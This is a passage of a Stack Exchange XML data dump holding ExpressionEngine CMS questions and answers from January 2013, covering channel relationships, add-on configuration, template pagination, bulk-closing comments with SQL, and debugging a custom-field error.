  <row Id="5519" PostTypeId="1" AcceptedAnswerId="5526" CreationDate="2013-01-29T10:12:31.860" Score="2" ViewCount="136" Body="&lt;p&gt;Lets say I have Channel A and B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel A has a Field X which is a relationship to channel B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way for the {exp:channel:entries} tag to get&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;only those Channel B entries that are referred by current entries in Channel A?&lt;/li&gt;&#xA;&lt;li&gt;the number of entries in Channel A that are associated to each respective Channel B entries?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Channel A has these entries&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Entry 1, Relationship to Channel B entry 1&#xA;Entry 2, Relationship to Channel B entry 1&#xA;Entry 3, Relationship to Channel B entry 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and Channel B has these entries&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Entry 1, Foo&#xA;Entry 2, Bar&#xA;Entry 3, Test&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then &lt;/p&gt;&#xA;&#xA;&lt;p&gt;No. 1 should return&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Entry 1, Foo&#xA;Entry 2, Bar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No. 2 should return&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Entry 1, Foo, Referred 2 times&#xA;Entry 2, Bar, Referred 1 time&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-01-29T15:31:15.907" Title="Channel Entries Related Entries Filtering with Count" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5520" PostTypeId="1" CreationDate="2013-01-29T12:29:01.900" Score="0" ViewCount="60" Body="&lt;p&gt;Just installed the new Assets module and configured an amazone s3 location. However the location is not showing up in the assets module (upload files list).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When configured as a fieldtype I can select the directory (s3) to upload to during configuration. But while editing an entry I get a blank upload files modal.&lt;/p&gt;&#xA;" OwnerUserId="664" LastActivityDate="2013-01-29T13:04:21.263" Title="Upload config amazone s3 not showing" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5521" PostTypeId="1" CreationDate="2013-01-29T12:58:24.537" Score="1" ViewCount="304" Body="&lt;p&gt;I want to have  &lt;code&gt;p, h1, h2, h3, h4, h5&lt;/code&gt; Buttons in the Editor by DevDemon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do this? Do I really need to hack some php or js files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I enabled &quot;Formating Tags&quot; in Advanced Settings. But these Tag Buttons still don't show up.&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2013-01-30T09:29:43.690" Title="Editor (DevDemon) h1 Button" Tags="|redactor|editor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5522" PostTypeId="2" ParentId="5520" CreationDate="2013-01-29T13:04:21.263" Score="3" Body="&lt;p&gt;You need to &lt;strong&gt;Update Indexes&lt;/strong&gt; after adding the new S3 source.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-29T13:04:21.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5523" PostTypeId="2" ParentId="5521" CreationDate="2013-01-29T14:33:20.460" Score="2" Body="&lt;p&gt;It looks like they have some &lt;a href=&quot;http://www.devdemon.com/docs/editor/create_button.html&quot; rel=&quot;nofollow&quot;&gt;half-finished docs on adding buttons programatically&lt;/a&gt; ... you should really &lt;a href=&quot;http://www.devdemon.com/support/&quot; rel=&quot;nofollow&quot;&gt;contact their support&lt;/a&gt; to clarify this.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-29T14:33:20.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5524" PostTypeId="2" ParentId="5442" CreationDate="2013-01-29T15:21:45.357" Score="1" Body="&lt;p&gt;It's not possible to customize the look of the Store product details field, without adding your own CSS to the control panel (or editing the Store view files).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One option you have if you need to do this is create an extension which uses the &lt;code&gt;cp_css_end&lt;/code&gt; hook to add your own CSS to the control panel, which hides the fields you don't need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;https://expressionengine.stackexchange.com/a/5205/150&quot;&gt;https://expressionengine.stackexchange.com/a/5205/150&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-01-29T15:21:45.357" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5525" PostTypeId="1" CreationDate="2013-01-29T15:25:24.060" Score="3" ViewCount="98" Body="&lt;p&gt;Does anyone know of a way/existing fieldtype out there there that does exactly what StructureFrame does, but includes listings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;StructureFrame is a really neat way to link to content, but annoying that you can't access all of it!&lt;/p&gt;&#xA;" OwnerUserId="522" LastActivityDate="2013-01-29T15:50:13.757" Title="Need something like StructureFrame that includes listings as well as pages" Tags="|structure|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5526" PostTypeId="2" ParentId="5519" CreationDate="2013-01-29T15:31:15.907" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://pixelandtonic.com/playa/docs/templates&quot; rel=&quot;nofollow&quot;&gt;Playa's Parent &amp;amp; Children tags&lt;/a&gt; should do what you're looking for. They have documentation on &lt;a href=&quot;http://pixelandtonic.com/playa/docs/conversion&quot; rel=&quot;nofollow&quot;&gt;converting a native Relationship field to a Playa field&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-01-29T15:31:15.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5527" PostTypeId="2" ParentId="5525" CreationDate="2013-01-29T15:50:13.757" Score="2" Body="&lt;p&gt;I usually use Playa or the native field type connected to whatever the listing channel is.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2013-01-29T15:50:13.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5528" PostTypeId="1" CreationDate="2013-01-29T16:38:11.480" Score="1" ViewCount="103" Body="&lt;p&gt;After upgrading from EE 1.8 to EE2, my CP theme no longer works. I double-checked paths, I tried moving my cp_themes folder to the system folder. No luck. Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="708" LastActivityDate="2013-01-30T18:14:31.857" Title="No CP Theme after upgrade to EE 2x" Tags="|ee2-upgrades|cp-themes|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5529" PostTypeId="2" ParentId="5505" CreationDate="2013-01-29T16:39:55.600" Score="1" Body="&lt;p&gt;Derek did a good job answering the question and also proposed a good solution, but to just to give a bit more information. I &lt;a href=&quot;http://ellislab.com/forums/viewthread/230841/&quot; rel=&quot;nofollow&quot;&gt;also asked this question&lt;/a&gt; on the old EE forums. My solution was to limit the categories to a certain group and then be sure only one category from that group was applied. So something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;news&quot; orderby=&quot;date&quot; limit=&quot;9&quot; category=&quot;not 440&quot; category_group=&quot;1&quot;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously, this isn't perfect if you need multiple categories in the same group applied. Other suggestions on the previous thread were a custom field search and a custom query.&lt;/p&gt;&#xA;" OwnerUserId="787" LastEditorUserId="787" LastEditDate="2013-01-29T23:30:43.807" LastActivityDate="2013-01-29T23:30:43.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5530" PostTypeId="1" CreationDate="2013-01-29T16:57:12.353" Score="2" ViewCount="52" Body="&lt;p&gt;This is related to an &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/2145/basic-channel-tag-throwing-php-errors&quot; title=&quot;Channel Module Error&quot;&gt;channel module php error&lt;/a&gt; I am getting. I've been able to determine that if I use &lt;strong&gt;disable=&quot;custom_fields&quot;&lt;/strong&gt; the error goes away. On a backup copy of the site I've gone in and removed every addon via the control panel. However, the error persists and is once again eliminated by disabling custom_fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, what is my next step in tracking down the bug (or &quot;bad data&quot; as was described to me in my original post).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is the template that throws the error.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='member' status='not closed' dynamic='no' orderby=&quot;title&quot; sort=&quot;asc&quot; disable=&quot;member_data|trackbacks|pagination&quot;}&#xA;    &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This template does not throw the error.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='member' status='not closed' dynamic='no' orderby=&quot;title&quot; sort=&quot;asc&quot; disable=&quot;member_data|trackbacks|pagination|custom_fields&quot;}&#xA;    &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-01-29T19:28:56.097" Title="How do I track down a bug with a custom field?" Tags="|error|mysql|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5531" PostTypeId="2" ParentId="5528" CreationDate="2013-01-29T17:10:18.773" Score="1" Body="&lt;p&gt;This is a path issue. That's the only reason a theme goes away. I suggest rechecking all the paths and moving your cp_themes folder back to where its original location. One of the paths is wrong.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-29T17:10:18.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5532" PostTypeId="1" CreationDate="2013-01-29T17:16:22.227" Score="1" ViewCount="58" Body="&lt;p&gt;I'm writing an EE module where I need access to the text of the EE rich text field (a modified version of the WysiHat editor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the field is edited, I need to trigger the logic to save the value back to the hidden textarea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on the api docs (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/cp_javascript/rte/wysihat_api.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/cp_javascript/rte/wysihat_api.html&lt;/a&gt;), this should be very simple&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.WysiHat-field').each(function(){&#xA;    editor = $(this).data('wysihat');&#xA;    editor.updateField();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But nothing I try will give me access to the editor instances.  The 'editor' variable comes back undefined every time.  Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="499" LastEditorUserId="268" LastEditDate="2013-01-30T08:19:26.467" LastActivityDate="2013-01-30T08:19:26.467" Title="Trigger save on WysiHat editor on publish page?" Tags="|add-on-development|jquery|richtext|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5533" PostTypeId="2" ParentId="5530" CreationDate="2013-01-29T17:17:56.593" Score="1" Body="&lt;p&gt;Assuming the error is caused by a custom fieldtype (which maybe it is not, now that I see your updated question!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One approach which will help identify the fieldtype that is causing issues: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a simplified template with a channel:entries loop that references each of the custom fields associated with that channel. Then  comment out the custom fields in the template one by one until the error disappears. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a pared-down template coupled with the process of elimination. This should give an indication which fieldtype is causing the error.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-01-29T17:17:56.593" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5534" PostTypeId="1" CreationDate="2013-01-29T17:23:27.513" Score="0" ViewCount="226" Body="&lt;p&gt;I have had some sporadic issues in my time with EE where a user just cannot login to the front end, it seems to be a case of initially it validates the login details, routes you to the intended page, and then by the time the user gets there, they are logged out and dealt with accordingly. I have had it myself, so i know its effected browsers that are fine of config, and passwords etc all correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am now however experiencing the issue with a very important user, everything works for everyone else in every environment, and works in this case for the user in everyone but one browser (but the browser is not the problem)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am sorry for the broadness of the question, it is finger in the air because that is exactly how i find it when it comes around. Am just hoping someone out there has experienced the same, and has an understanding of it that i have not managed to nail it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have cleared caches both our end and theirs - in the past this has been the place to start.&lt;/p&gt;&#xA;" OwnerUserId="355" LastActivityDate="2013-01-29T17:31:59.310" Title="Login in issues - front end" Tags="|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5535" PostTypeId="2" ParentId="5530" CreationDate="2013-01-29T17:27:31.903" Score="2" Body="&lt;p&gt;Based on your referenced question, it looks like the problem is with a custom field that stores a file (&quot;filename&quot; and output buffer references).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can identify which add-on that is, you can drop some quick &amp;amp; dirty debug statements in its PHP. Things like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 'got here'; exit;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;moving that forward line by line until you reach the point where the error occurs. Or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_dump($some_addon_var); exit;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To output the variables the add-on is fetching data into. That might illuminate what the &quot;bad data&quot; is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what you've described, it seems like disabling the add-ons isn't taking effect if you have custom fields enabled. That sounds like a separate issue, but if you can tackle the add-on error, you can clean up the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Noting that you've deleted add-ons, you'd need to reinstall the add-on that's working with files to troubleshoot based on these steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried looking at the entries directly? If you can determine which entry the error is coming from, you can use PHPMyAdmin, Navicat or Sequel Pro to browse the exp_channel_data table and peek in the fields. I'm not sure how much luck you'll have identifying &quot;bad data&quot; that way, but that's where you need to look.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-01-29T17:40:48.993" LastActivityDate="2013-01-29T17:40:48.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5536" PostTypeId="2" ParentId="5534" CreationDate="2013-01-29T17:31:59.310" Score="1" Body="&lt;p&gt;Have you tried &lt;a href=&quot;https://expressionengine.stackexchange.com/a/383/293&quot;&gt;this suggestion&lt;/a&gt; from &lt;a href=&quot;https://expressionengine.stackexchange.com/users/28/anna-mediagirl&quot;&gt;@Anna_MediaGirl&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-01-29T17:31:59.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5537" PostTypeId="1" AcceptedAnswerId="5548" CreationDate="2013-01-29T17:37:01.227" Score="3" ViewCount="87" Body="&lt;p&gt;Having just relaunched a site containing a decade of content, I'd like to close comments on everything over a couple years old.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought there was something built in, but either it's not there or I can't find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an add-on? Or a simple sequel statement?&lt;/p&gt;&#xA;" OwnerUserId="453" LastActivityDate="2013-01-29T20:34:07.803" Title="How can I close comments on a mass scale?" Tags="|mysql|comments|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5538" PostTypeId="2" ParentId="5537" CreationDate="2013-01-29T17:43:46.513" Score="6" Body="&lt;p&gt;Given that the control panel for comments (Add-ons &gt; Modules &gt; Comments) is a little limited in its date filtering, and if you have lots and lots of comments it would be a chore, a query is probably the best route.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A query that would &lt;strong&gt;close all comment entries&lt;/strong&gt; before Sat, 01 Jan 2011 00:00:00 GMT:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_comments&#xA;SET status = 'c'&#xA;WHERE comment_date &amp;lt; 1293840000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR...If what you meant was to &lt;strong&gt;not &lt;em&gt;allow&lt;/em&gt; new comments&lt;/strong&gt; on entries older than two years then here is a query to do that (&lt;a href=&quot;https://expressionengine.stackexchange.com/a/5548/22&quot;&gt;&lt;em&gt;or just see @Derek's answer!&lt;/em&gt;&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_titles&#xA;SET allow_comments = 'n'&#xA;WHERE entry_date &amp;lt; 1293840000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;http://www.epochconverter.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Epoch Converter&lt;/a&gt; to get a Unix timestamp for your comment cut-off date.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-01-29T20:32:11.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5539" PostTypeId="1" AcceptedAnswerId="5544" CreationDate="2013-01-29T17:49:58.480" Score="2" ViewCount="79" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1611/limit-channel-entry-to-1&quot;&gt;Limit Channel Entry to 1?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I have a site where one section of the site is a list of Useful links. Rather than have the client create a new channel post that will only include Website name &amp;amp; URL as the two channel fields, I set up a matrix that they can add to so, that they can move entries up or down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have explained to them the set up, that they must go in and edit this entry rather than add new channel entries for this, but just to be safe I want to lock this channel so they can't post new entries, just edit an existing. The member group preferences only allow &lt;strong&gt;edit &amp;amp; post&lt;/strong&gt;, not &lt;strong&gt;edit only&lt;/strong&gt; so just wondering has anyone done something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or should I just change my set up to channel entries for each useful link and create a low reorder set to move them round.&lt;/p&gt;&#xA;" OwnerUserId="628" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-01-31T19:07:07.447" Title="Edit single posts in a channel via admin panel" Tags="|members|channel-preferences|" AnswerCount="2" CommentCount="1" ClosedDate="2013-01-29T21:23:56.393" ContentLicense="CC BY-SA 3.0" />
  <row Id="5540" PostTypeId="1" AcceptedAnswerId="5541" CreationDate="2013-01-29T17:50:24.733" Score="2" ViewCount="145" Body="&lt;p&gt;My channel has a few required fields. I want to use those required field to dynamically build the &lt;code&gt;{title}&lt;/code&gt; instead of having the user enter it. Is there a way for me to, say, user &lt;code&gt;{first_name}&lt;/code&gt; and &lt;code&gt;{last_name}&lt;/code&gt; (the required fields of my Channel) as the title?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-01-30T09:59:55.820" Title="I don't want users to enter {title} field" Tags="|channel-entries|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5541" PostTypeId="2" ParentId="5540" CreationDate="2013-01-29T18:00:07.213" Score="9" Body="&lt;p&gt;You can use &lt;a href=&quot;http://devot-ee.com/add-ons/mx-title-control&quot;&gt;MX Title Control&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/title-master&quot;&gt;Title Master&lt;/a&gt; to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Title Master specifically lists the scenario you describe as an example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you have a channel with people in it, it is annoying to have to&#xA;  enter a Title when it is the same information you will enter for the&#xA;  First and Last Name fields. Here is a quick example of templates you&#xA;  could use. Title - {last_name}, {first_name} = Brown, John URL Title -&#xA;  {first_name} {last_name} = john_brown&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-01-29T18:00:07.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5542" PostTypeId="2" ParentId="5539" CreationDate="2013-01-29T18:03:10.170" Score="1" Body="&lt;p&gt;If you switched to using Structure, you can set up an Assets channel to list existing entries under the Assets tab instead of listing channels with Add/Edit links. Then you can direct the client to edit the entry under the Assets tab.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-01-29T18:03:10.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5543" PostTypeId="2" ParentId="5540" CreationDate="2013-01-29T18:05:57.463" Score="3" Body="&lt;p&gt;Is there an entry being submitted from front end (not from control panel)? if so I think you are using safecraker. In this case you can use dynamic_title parameter and can pass value like dynamic_title=&quot;{first_name} {last_name}&quot;.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-01-29T18:05:57.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5544" PostTypeId="2" ParentId="5539" CreationDate="2013-01-29T18:08:40.507" Score="1" Body="&lt;p&gt;In terms of &quot;locking&quot; the channel to prevent users publishing additional entries, removing the entry from the Publish menu is often enough to do the trick. There are two add-ons that can help with this: &lt;a href=&quot;http://devot-ee.com/add-ons/single-entry&quot; rel=&quot;nofollow noreferrer&quot;&gt;Single Entry&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/cp-menu-master&quot; rel=&quot;nofollow noreferrer&quot;&gt;CP Menu Master&lt;/a&gt; (formerly &quot;Hidden Channels&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some other nice approaches listed in this possible duplicate question:&lt;br&gt;&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1611/limit-channel-entry-to-1&quot;&gt;Limit Channel Entry to 1?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-01-31T19:07:07.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5545" PostTypeId="2" ParentId="5496" CreationDate="2013-01-29T18:26:38.690" Score="2" Body="&lt;p&gt;Updating my answer.  I've logged in and done some troubleshooting.  I think that the problem with pagination is stemming potentially from using a Structure Page_URL for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set up a template group and template: pt_test/pag and put this code in it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {preload_replace:rows_per_page=&quot;3&quot;}&#xA;        {exp:channel:entries channel=&quot;gallery&quot; url_title=&quot;{segment_3}&quot; dynamic=&quot;no&quot;}    &#xA;        &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;{url_title_path='pt_test/pag'}&quot;&amp;gt;{title}: {url_title}&amp;lt;/a&amp;gt;: segment 3: {segment_3}, segment 4: {segment_4}&amp;lt;/h1&amp;gt;&#xA;        {page_url}&amp;lt;br /&amp;gt;&#xA;            {if gallery_image}&#xA;                &amp;lt;div id=&quot;gallery&quot; class=&quot;clearfix&quot;&amp;gt;&#xA;                    {gallery_image offset=&quot;{segment_4}&quot; limit=&quot;{rows_per_page}&quot;}&#xA;                        &amp;lt;div class=&quot;{switch=&quot;galleryImage|galleryImage|galleryImageLast&quot;}&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;{big_image}&quot; rel=&quot;lightbox-gallery&quot; title=&quot;{image_caption}&quot;&amp;gt;{row_id}&amp;lt;img src=&quot;{small_image}&quot; alt=&quot;{image_title}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    {/gallery_image}    &#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- End gallery --&amp;gt;&#xA;&#xA;&#xA;{if segment_4 &amp;gt; rows_per_page}&#xA;  &amp;lt;a href=&quot;{path='pt_test/pag/{url_title}'}/{exp:simple_math calculate='{segment_4}-{rows_per_page}'}&quot;&amp;gt;&#xA;    Prev&#xA;  &amp;lt;/a&amp;gt;&#xA;{/if}&#xA;&#xA;{if &quot;{gallery_image:total_rows}&quot; &amp;gt; &quot;{exp:simple_math calculate='{segment_4}+{rows_per_page}'}&quot;}&#xA;  &amp;lt;a href=&quot;{path='pt_test/pag/{url_title}'}/{if segment_4}{exp:simple_math calculate='{segment_4}+{rows_per_page}'}{if:else}{rows_per_page}{/if}&quot;&amp;gt;&#xA;    Next&#xA;  &amp;lt;/a&amp;gt;&#xA;{/if}&#xA;&#xA;            {/if}&#xA;        {/exp:channel:entries}     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you visit this on the front-end and use the next and previous links, then you'll see that the pagination is working.  I built the Next and Previous links a bit differently than you had, and I've got some diagnostics outputting by echoing out those segments to see what EE sees.  But I think you should be able to take this working template and build from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that help?&lt;/p&gt;&#xA;" OwnerUserId="563" LastEditorUserId="563" LastEditDate="2013-01-31T21:11:08.740" LastActivityDate="2013-01-31T21:11:08.740" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="5546" PostTypeId="2" ParentId="1978" CreationDate="2013-01-29T18:29:51.063" Score="0" Body="&lt;p&gt;I accepted Low's solution as correct, but I have implemented in this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assumed my AJAX was good, because it worked just fine when submitting a URL that had already been encoded by Low Search. Instead of using POST method, I used GET method to send JSON &lt;code&gt;'keywords': 'my search term'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastie.org/5558784&quot; rel=&quot;nofollow&quot;&gt;Here is a piece&lt;/a&gt; of the javascript puzzle stripped down for readability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastie.org/5558808&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is what my result_page template looks like. Keep in mind, I am posting this answer before it is completely ready to ship. I have not included proper JSON handling if there are no results returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to make this a plug n' play as possible, but it certainly won't be. Actually, it's likely this isn't the best solution. I will come back if I find something I did very wrong, or if there is a simpler solution, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please feel free to tear it apart if you can offer something better :)&lt;/p&gt;&#xA;" OwnerUserId="529" LastActivityDate="2013-01-29T18:29:51.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5547" PostTypeId="2" ParentId="5530" CreationDate="2013-01-29T19:28:56.097" Score="1" Body="&lt;p&gt;I've tracked the error down to a single entry. I did so by loading entries in opposite directions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;orderby=&quot;title&quot; sort=&quot;asc&quot; limit=&quot;xx&quot;&#xA;orderby=&quot;title&quot; sort=&quot;desc&quot; limit=&quot;xx&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did this until I reached a single entry and hit the php errors. At this point I did a search for that entry's title in the database. It came up with one entry in &lt;strong&gt;exp_channel_data&lt;/strong&gt; (as expected), however in &lt;strong&gt;exp_channel_titles&lt;/strong&gt; there were two instances with the same title. I removed the entry that was not associated with the entry data and all is loading as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The cause:&lt;/strong&gt;&#xA;While I cannot be certain, my guess is that: we had several editors inputting data at the same time. This entry was inputted twice and one was subsequently deleted. For some reason the title row was not removed and caused the conflict. We are using Structure, so it could be a bug with Structure? I cannot be sure. &lt;/p&gt;&#xA;" OwnerUserId="4" LastActivityDate="2013-01-29T19:28:56.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
